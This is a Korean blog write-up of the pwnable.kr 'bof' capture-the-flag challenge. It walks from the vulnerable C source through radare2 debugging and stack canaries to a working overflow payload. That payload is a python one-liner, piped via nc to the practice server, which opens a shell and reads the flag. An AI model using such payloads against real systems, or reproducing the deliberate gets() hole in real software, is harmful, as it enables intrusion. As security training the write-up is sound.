Nana told me that buffer overflow is one of the most common software vulnerability.
Is that true?
Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c
Running at : nc pwnable.kr 9000
소스코드와 바이너리를 다운받아보자.
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
func()에서 key = 0xdeadbeef를 key = 0xcafebabe 로 바꿔주면 쉘을 띄워준다.
$ ./bof
overflow me :
test
Nah..
gets함수를 통해서 입력을 받는데, 입력값의 길이를 제한하지 않으므로 overflowme[32] 32바이트를 넘겨서 key값을 덮어 쓸 수 있다.
디버깅을 해보면 심볼이 일부 지워졌지만 전체적인 코드흐름을 확인할 수 있다.
$ r2 -d ./bof
[0xe875d830]> afl
0x569aa4c0 1 6 sym.imp.gets
0x569aa4d0 1 6 sym.imp.__stack_chk_fail
0x569aa4e0 1 6 sym.imp.__cxa_finalize
0x569aa4f0 1 6 sym.imp.puts
0x569aa500 1 6 sym.imp.system
0x569aa520 1 6 sym.imp.__libc_start_main
0x569aa530 1 49 entry0
0x569aa562 1 4 fcn.569aa562
0x569aa68a 1 28 main
0x569aa62c 6 94 sym.func
0x569aa570 8 128 sym.__do_global_dtors_aux
0x569aa5f0 4 55 sym.frame_dummy
0x569aa627 1 4 sym.__i686.get_pc_thunk.bx
0x569aa730 4 56 sym.__do_global_ctors_aux
0x569aa720 1 2 sym.__libc_csu_fini
0x569aa768 1 26 sym._fini
0x569aa6b0 4 97 sym.__libc_csu_init
0x569aa474 3 46 sym._init
0x569aa510 1 6 loc.imp.__gmon_start__
특이한 부분은 아래의 스택캐너리 설정 부분이다.
0x6404f632 65a114000000 mov eax, dword gs:[0x14]
0x6404f638 8945f4 mov dword [var_ch], eax
0x6404f63b 31c0 xor eax, eax
- gs:[0x14]의 값을 가져와 var_ch에 저장한다.
- 이는 스택 보호 기법 중 하나인 "스택 캔너리(canary)"로, 버퍼 오버플로우를 방지하기 위한 것이다.
Stack cannary 란
버퍼 오버플로우 공격을 방지하기 위한 메커니즘이다. 이 기법에서는 스택에 특정 값을 미리 저장해 두고, 함수가 종료될 때 이 값이 변조되었는지 확인함으로써 버퍼 오버플로우 공격을 감지한다. 캔너리 값은 함수가 시작될 때 스택에 저장되며, 함수 종료 시 확인하는 방식으로 동작한다.
- mov eax, dword gs:[0x14]
- gs 레지스터는 보통 시스템에서 스레드-로컬 저장소(Thread-Local Storage, TLS) 또는 특정 보안 관련 정보를 저장하는데 사용된다.
- gs:[0x14]는 시스템이 관리하는 특수한 위치로, 여기서 스택 캔너리 값을 가져온다. 이 값은 운영체제나 컴파일러에 의해 자동으로 설정되며, 함수가 시작될 때 스택에 저장된다.
- 즉, gs:[0x14]는 스택 캔너리 값이 저장된 위치이며, 이 값을 eax 레지스터에 로드한다.
- mov dword [var_ch], eax
- eax 레지스터에 로드된 캔너리 값을 함수의 스택 프레임에 있는 var_ch에 저장한다. 이것이 바로 스택 캔너리의 역할을 하는 값이다.
- 스택에 버퍼 오버플로우가 발생하면, 이 캔너리 값이 변경될 가능성이 있다.
일단 버퍼오버플로우 공격으로 key값을 변경해줘야하는 것 같으니 메모리 구조를 확인해보자.
[0xf45fc830]> db main
[0xf45fc830]> db sym.func
[0xf45fc830]> dc
INFO: hit breakpoint at: 0x5caef68a
[0x5caef68a]> V!
몇단계 더 진행하면 이전의 ebp값을 스택에 저장한 후 ebp에 새로운 스택 프레임이 설정되고 esp에 스택에서 72바이트(0x48)의 공간을 할당하여 32바이트 크기의 overflowme 버퍼와 기타 변수들을 위해 공간이 할당된다.
gets() 함수를 스텝 오버하면 stdin에서 read()하기 위한 메모리 주소 0xffc8a16c가 전달되었음을 확인할 수 있다.
그 후 arg_8h 변수와 0xcafebabe 를 비교하는 조건문이 실행된다.
arg_8h 변수값을 확인해보자.
[0x5fea2654]> afv
arg int32_t arg_8h @ ebp+0x8
var int32_t var_ch @ ebp-0xc
var int32_t var_2ch @ ebp-0x2c
[0x5fea2654]> afvd arg_8h
pf d @ebp+0x8
[0x5fea2654]> pf x @ebp+0x8
0xfff91cc0 = 0xdeadbeef
key값과 arg_8h의 주소 값의 차이를 계산하면 52바이트가 차이 난다는 것을 확인할 수 있다.
>> print(0xffc8a1a0 - 0xffc8a16c)
52
52개의 "a"(\x61)값을 넣어서 버퍼 오버플로우를 발생시킨 후 cafebabe값을 리틀 엔디언 방식으로 밀어넣었다.(왜냐면 x86이기 때문)
$ python -c 'import sys; sys.stdout.buffer.write(b"\x61"*52+b"\xbe\xba\xfe\xca\x0a")' > input.txt
$ vim input.rr2
#!/usr/bin/env rarun2
stdin=input.txt
$ r2 -e dbg.profile=input.rr2 -d bof
실행 후 key값과 0xcafebabe 를 비교하는 부분에서 브레이크 포인트를 걸어서 제대로 수정이 되었는지 확인해보자.
stack 을 확인하면 a로 채워져있는 것을 확인할 수 있다.
[0x5f0eb62c]> px 64 @ esp
- offset - 5051 5253 5455 5657 5859 5A5B 5C5D 5E5F 0123456789ABCDEF
0xfff3dd50 6cdd f3ff 2000 0000 0000 0000 80de f3ff l... ...........
0xfff3dd60 0000 0000 0000 0000 0000 0001 6161 6161 ............aaaa
0xfff3dd70 6161 6161 6161 6161 6161 6161 6161 6161 aaaaaaaaaaaaaaaa
0xfff3dd80 6161 6161 6161 6161 6161 6161 6161 6161 aaaaaaaaaaaaaaaa
key값의 변수를 확인하면 제대로 밀어넣은 것을 확인할 수 있다.
[0x5f0eb62c]> afv
arg int32_t arg_8h @ ebp+0x8
var int32_t var_ch @ ebp-0xc
var int32_t var_2ch @ ebp-0x2c
[0x5f0eb62c]> afvd arg_8h
pf d @ebp+0x8
[0x5f0eb62c]> pf x @ebp+0x8
0xfff3dda0 = 0xcafebabe
이 셸코드를 stdin으로 넘기면 다음과 같이 셸에 접속하여 flag값을 확인할 수 있다.
$ cat input.txt - | nc pwnable.kr 9000
ls -la
total 11004
drwxr-x--- 3 root bof 4096 Dec 25 2022 .
drwxr-xr-x 116 root root 4096 Oct 30 2023 ..
d--------- 2 root root 4096 Jun 12 2014 .bash_history
-r-xr-x--- 1 root bof 7348 Sep 12 2016 bof
-rw-r--r-- 1 root root 308 Oct 23 2016 bof.c
-r--r----- 1 root bof 32 Jun 11 2014 flag
-rw-r--r-- 1 root root 11230865 Oct 6 09:48 log
-rwx------ 1 root root 760 Sep 11 2014 super.pl
cat flag
daddy, I just pwned a buFFer :)
'네트워크 보안 > CTF' 카테고리의 다른 글
pwnable flag (3) | 2024.10.13 |
---|---|
[pwnable] pwnable.kr collision (hash function, hash collision, md5 hash collision) (0) | 2024.09.11 |
[pwnable] pwnable.kr fd (0) | 2024.09.11 |
[HTB/Crypto] Weak RSA (1) | 2024.03.24 |
[Web] webhacking.kr 3번 (0) | 2022.05.27 |